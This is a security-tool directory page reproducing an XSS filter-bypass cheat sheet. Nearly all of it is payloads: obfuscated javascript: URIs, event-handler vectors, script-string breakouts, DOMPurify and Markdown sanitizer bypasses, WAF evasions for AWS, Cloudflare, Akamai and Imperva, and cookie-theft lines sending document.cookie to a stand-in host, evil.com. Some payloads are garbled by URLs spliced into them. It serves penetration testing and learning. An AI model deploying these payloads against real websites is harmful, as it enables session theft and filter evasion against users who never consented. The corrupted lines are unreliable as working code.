Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
XSS-Bypass-Filters — مجموعة منتقاة من حمولات XSS وورقة غش لتجاوز التصفية: مراوغة خاصة بـWAF، ومتجهات حقن JS/HTML، وحيل ترميز، وتجاوزات DOMPurify وMarkdown. | Kitploit
أدوات/GitHubGitHub/edr4/xss-bypass-filters
استغلال تطبيقات الويبتجاوز WAFأمن الويباختبار الاختراقالتعلم والتعليمموارد منسقةتطوير الحمولات
GitHubedr4/xss-bypass-filters

XSS-Bypass-Filters

مجموعة منتقاة من حمولات XSS وورقة غش لتجاوز التصفية: مراوغة خاصة بـWAF، ومتجهات حقن JS/HTML، وحيل ترميز، وتجاوزات DOMPurify وMarkdown.

عرض المستودع
598104منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

XSS-Bypass-Filters

إعادة التوجيه

root@kitploit:~
document.location=
document['location']=
window.location=
this["window"]["location"]=
document.location.href=
location.href=
location=
window.location.assign()
window['location']['href']=
document.location.replace()
window.open("link", "_blank");

الرابط

root@kitploit:~
//google.com/?=a
//134744072:1234/?a= (decimal ip)

الكوكيز

root@kitploit:~
document.cookie 
document['cookie']
with(document)alert(cookie)
doc\u0075ment.cookie
doc\u0075ment['cookie']
window["doc"+"ument"]["cookie"]

التسلسل

root@kitploit:~
fetch("//evil.com/?c="+document.cookie)
fetch("//evil.com/?c=".concat(document.cookie))
fetch("//evil.com/?c=", document.cookie].join())
fetch(`//evil.com/?c=${document.cookie}`)

Href

root@kitploit:~
<!--javascript -->
javascript:alert(1)
JaVaScript:alert(1)
ja&Tab;vascript:alert(1)
java\tscript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert('XSS')

# tab (0x9), newline (0xa) and carriage return (0xd) allowed (inside or after the protocol) 

ja
vascript:alert(1) # New line 

jav	asc	ript	:alert(1) # Tab

# Special Characters before the protocol (Raw or encode)
# \x01-\x20 are allowed - Somes Example :
http://www.unicode-symbol.com/u/0017.html
http://www.unicode-symbol.com/u/0008.html

&#23;javascript:alert('Successful XSS') # ETB HTML
&#x8;javascript:alert(1) # Backspace HTML

# colon
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)
javascript&#x3A;alert()

# javascript://
javascript://%0Aalert(1)
javascript://%0Dalert(1)

#  target="_blank"
- Scroll Click
- Shift + Click
- Ctrl + Click

# alert
javascript:alert&lpar;&rpar;
javascript:al&#x65;rt``
javascript:alert%60%60
javascript:x='%27-alert(1)-%27';
javascript:%61%6c%65%72%74%28%29

#JS unicode 
javascript:a\u006Cert``"
javascript:\u0061\u006C\u0065\u0072\u0074``

كيانات HTML

الكيانات المسماة

https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(false,'Named%20entities')

root@kitploit:~
' -> &apos;
" -> &quot;
` -> &grave;
` -> &DiacriticalGrave;
( -> &lpar;
) -> &rpar;
{ -> &lcub;
} -> &rcub;
& -> &amp;
< -> &lt;
> -> &gt;
\n -> &NewLine;
\t -> &Tab;
nbsp -> &nbsp;
\ -> &bsol;

الكيانات الست عشرية

[https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(false,'Hex%20entities')

root@kitploit:~
' -> &#x27;
" -> &#x22;
` -> &#x60;
( -> &#x28;
{ -> &#x7b;
} -> &#x7d;
& -> &#x26;
< -> &#x3c;
> -> &#x3e;
\n -> &#x0a;
\t -> &#x09;
nbsp -> &#xa0;
\ -> &#x5c;

الكيانات الرقمية

https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(false,'Numeric%20entities')

root@kitploit:~
' -> &#39;
" -> &#34;
` -> &#96;
( -> &#40;
) -> &#41;
{ -> &#123;
} -> &#125;
& -> &#38;
< -> &#60;
> -> &#62;
\n -> &#10;
\t -> &#9;
nbsp -> &#160;
\ -> &#92;

الرقمية والست عشرية يمكنك إضافة أي عدد من الأصفار

root@kitploit:~
( -> &#x28; = &#x0000028;
( -> &#40; = &#0000000000040;

البريد الإلكتروني

root@kitploit:~
test+(<script>alert(0)</script>)@example.com
test@example(<script>alert(0)</script>).com
"<script>alert(0)</script>"@example.com

Iframe

root@kitploit:~
 #use href bypass
 # if youtube is whitelisted for example

 # base64 <script>alert(1)</script>

بدون وسم إغلاق

root@kitploit:~

<svg/onload=alert(1)>
<object/data=javascript:prompt(1)>
<input/autofocus/onfocus=prompt(1)>
<audio/src/onloadstart=alert(1)>
<svg><animate/onbegin=alert(1)>
<svg><animate/dur='1s'onend=alert(1)>
<svg><set/onbegin=alert(1)>
<svg><set/dur='1ms'onend=alert(1)>
<marquee width=1 loop=1 onfinish=alert(1)>
<details/open/ontoggle=confirm(1)>
<details open ontoggle=confirm(1)>
<details/ontoggle='alert(1)'/open>
<details ontoggle=alert(1) open>

بدون نقطة

root@kitploit:~
<script src=//0x8ac5c30a>

بدون أقواس

root@kitploit:~
alert`45`
document.location="javascript:alert%2845%29"
onerror=alert;throw 45

https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md

root@kitploit:~
<svg/onload='alert&#40 23 &#41'> 
location=/javascript:alert%2823%29/.source;

20 حرفًا كحد أقصى:

https://jlajara.gitlab.io/XSS_20_characters

بعض الحمولات العشوائية

root@kitploit:~
'-alert(1)-'
"-alert(1)-"
);alert(1)//
';alert(1)//
";alert(1)//
">//
'>//
>"@input="this.alert`1`
>'@input='this.alert`1`
&quot onerror='alert(1)'
" onerror='alert(1)'

تجاوز حقن JS

مع <!-- <script/

root@kitploit:~
<script>
  var test = "injection <!-- <script/";
</script>

<script>alert(origin)</script>">
or
<input type="hidden" value="</script><script>alert(1)</script>">
or 
<a href="</script><script>alert(3)</script>" value="xxx">TEST<a>

which can be in between quotes...

مع

root@kitploit:~
<script>
  var test = "</script><svg/onload=alert(45)>"
</script>

مع </script مسافة، تبويب، نصوص، إرجاع سطر... >

root@kitploit:~
<script>
  var test = "</script ><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script  ><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script random><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script
random><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script 
random><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script <svg/onload=alert(45)>"
</script>

مع الاقتباس المزدوج وعلامة الجمع (نفس الشيء للاقتباسات المفردة)

root@kitploit:~
<script>
  var test = ""+alert(45)+""
  // user input: "+alert(45)+"
</script>

مع الشرطة المائلة للخلف

root@kitploit:~
<script>
  var test = "\", test1="+alert(45)//input2"
  // Original: var test = "input1", test1="input2"
  // user input1: \
  // user input2: +alert(45)//
</script>

XSS عبر 302

root@kitploit:~
ws://google.com"><svg/onload=alert(2)>
wss://google.com"><svg/onload=alert(2)>
resource://google.com"><svg/onload=alert(2)>

https://www.gremwell.com/firefox-xss-302
https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/

دوال الاختبار

root@kitploit:~
["YWxlcnQoJ1hTUycp"].map(atob).map(eval)
console.trace()
console.error()
console.trace``
console.error``
confirm?.(1)
top.confirm?.(1)
alert?.(1)
(a=>a(1))(alert);
setTimeout(alert, 0, 1)
[1].forEach(alert);
alert.bind()(1)
a=alert;a`1`;
alert()
alert/**/()
alert (10)
alert\n(1)
var{a:onerror}={a:alert};throw%20document.cookie
alert(1)
window['alert'](https://github.com/edr4/xss-bypass-filters/blob/HEAD/0)
parent['alert'](https://github.com/edr4/xss-bypass-filters/blob/HEAD/1)
self['alert'](https://github.com/edr4/xss-bypass-filters/blob/HEAD/2)
top['alert'](https://github.com/edr4/xss-bypass-filters/blob/HEAD/3)
this['alert'](https://github.com/edr4/xss-bypass-filters/blob/HEAD/4)
frames['alert'](https://github.com/edr4/xss-bypass-filters/blob/HEAD/5)
content['alert'](https://github.com/edr4/xss-bypass-filters/blob/HEAD/6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
eval('ale'+'rt(0)');
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();
top["al"+"ert"](https://github.com/edr4/xss-bypass-filters/blob/HEAD/5);
top[8680439..toString(30)](https://github.com/edr4/xss-bypass-filters/blob/HEAD/7);
top[/al/.source+/ert/.source](https://github.com/edr4/xss-bypass-filters/blob/HEAD/8);
top['al\x65rt'](https://github.com/edr4/xss-bypass-filters/blob/HEAD/9);
open('java'+'script:ale'+'rt(11)');
setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
[666]["\155\141\160"]["\143\157\156\163\164\162\165\143\164\157\162"](https://github.com/edr4/xss-bypass-filters/blob/HEAD/%22%5C141%5C154%5C145%5C162%5C164(666)")(666)

DOMPurify

<2.1

root@kitploit:~
<math><mtext><table><mglyph><style><!--</style>

<math><mtext><table><mglyph><style><![CDATA[</style>

<math><mtext><table><mglyph><style><!--</style></mglyph>">

<2.0.1

root@kitploit:~
<svg></p><style><a id="</style>">

<svg><p><style><a id="</style>"></p></svg>

XSS في Markdown

root@kitploit:~
[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
a)\
<javascript:prompt(document.cookie)>
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
a\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a'"`onerror=prompt(document.cookie)](https://raw.githubusercontent.com/edr4/xss-bypass-filters/HEAD/x)\
[citelol]: https://raw.githubusercontent.com/edr4/xss-bypass-filters/HEAD/(javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
_http://[email protected] style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
[a](javascript:this;alert(1&#41;)
[a](javascript&#58this;alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](https://github.com/edr4/xss-bypass-filters/blob/HEAD/Javas&%2399;ript:alert(1))
[a](javascript:alert&#65534;(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:alert(document.domain&#41;)
[a](javascript://www.google.com%0Aalert(1))
[a](https://github.com/edr4/xss-bypass-filters/blob/HEAD/%27javascript:alert(%221%22)')
[a](JaVaScRiPt:alert(1))
a)
![a](https://raw.githubusercontent.com/edr4/xss-bypass-filters/HEAD/%22onerror=%22alert(1))
</http://<?php\><\h1\><script:script>confirm(2)
[XSS](https://github.com/edr4/xss-bypass-filters/blob/HEAD/.alert(1);)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)

تجاوز WAF

ترويسة عشوائية لتجاوز UA وحظر IP https://portswigger.net/bappstore/3a656c1be14148c6bf95642af42eb854

تجاوز Amazon

بدون نقرة

root@kitploit:~
<details/open/id="&quot;"ontoggle=[JS]>

تجاوز AWS لـ XSS عبر POST

Adding 8192 "A" before your payload allow you to bypass AWS WAF for POST request

image

https://kloudle.com/blog/the-infamous-8kb-aws-waf-request-body-inspection-limitation/

تجاوز Imperva و Incapsula

بدون نقرة

root@kitploit:~
<details/open/id="&quot;"ontoggle=[JS]>

تجاوز Cloudflare

بدون نقرة

root@kitploit:~


<svg onload=prompt%26%230000000040document.domain)>

تجاوز Href

root@kitploit:~
<a"/onclick=(confirm)()>Click%20Here!
  • تحديد أصل الخادم https://github.com/gwen001/cloudflare-origin-ip

تجاوز Akamai

بدون نقرة

root@kitploit:~
<details open id="' &quot;'"ontoggle=[JS]>

نقرة

root@kitploit:~
<math><edra href=Ja&Tab;vascript&colon;console.error(1)>HERE</edra></math>

قنبلة الكوكيز

يمكن استخدامها لإظهار حقيقة وضع "منخفض" من قابلية الوصول في CVSS

root@kitploit:~
for (let i = 0; i < 500; i++) {
  var a = 'A'.repeat(500);
  document.cookie = `${i}=${a}`;
}

الأحداث

root@kitploit:~
onafterprint
onafterscriptexecute
onanimationcancel
onanimationend
onanimationiteration
onanimationstart
onauxclick
onbeforecopy
onbeforecut
onbeforeinput
onbeforeprint
onbeforescriptexecute
onbeforeunload
onbegin
onblur
onbounce
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncopy
oncuechange
oncut
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onend
onended
onerror
onfinish
onfocus
onfocusin
onfocusout
onfullscreenchange
onhashchange
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadend
onloadstart
onmessage
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onmozfullscreenchange
onpagehide
onpageshow
onpaste
onpause
onplay
onplaying
onpointerdown
onpointerenter
onpointerleave
onpointermove
onpointerout
onpointerover
onpointerrawupdate
onpointerup
onpopstate
onprogress
onratechange
onrepeat
onreset
onresize
onscroll
onsearch
onseeked
onseeking
onselect
onselectionchange
onselectstart
onshow
onstart
onsubmit
ontimeupdate
ontoggle
ontouchend
ontouchmove
ontouchstart
ontransitioncancel
ontransitionend
ontransitionrun
ontransitionstart
onunhandledrejection
onunload
onvolumechange
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend
onwheel

وسوم HTML

root@kitploit:~
a
abbr
acronym
address
applet
area
article
aside
audio
b
base
bdi
bdo
big
blink
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
command
content
data
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
element
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1
head
header
hgroup
hr
html
i
iframe
image
img
input
ins
kbd
keygen
label
legend
li
link
listing
main
map
mark
marquee
menu
menuitem
meta
meter
multicol
nav
nextid
nobr
noembed
noframes
noscript
object
ol
optgroup
option
output
p
param
picture
plaintext
pre
progress
q
rb
rp
rt
rtc
ruby
s
samp
script
section
select
shadow
slot
small
source
spacer
span
strike
strong
style
sub
summary
sup
svg
svg -> animate
svg -> animatemotion
svg -> animatetransform
svg -> set
table
tbody
td
template
textarea
tfoot
th
thead
time
title
tr
track
tt
u
ul
var
video
wbr
xmp

المصادر

  • https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
  • https://gist.github.com/xsuperbug/1aff5c1d5ddbfefb035f33dd9c8e8a72
  • https://netsec.expert/posts/xss-in-2021/#double-encoding
  • https://github.com/cujanovic/Markdown-XSS-Payloads/
  • https://www.hahwul.com/cullinan/xss/
تنزيل الأداة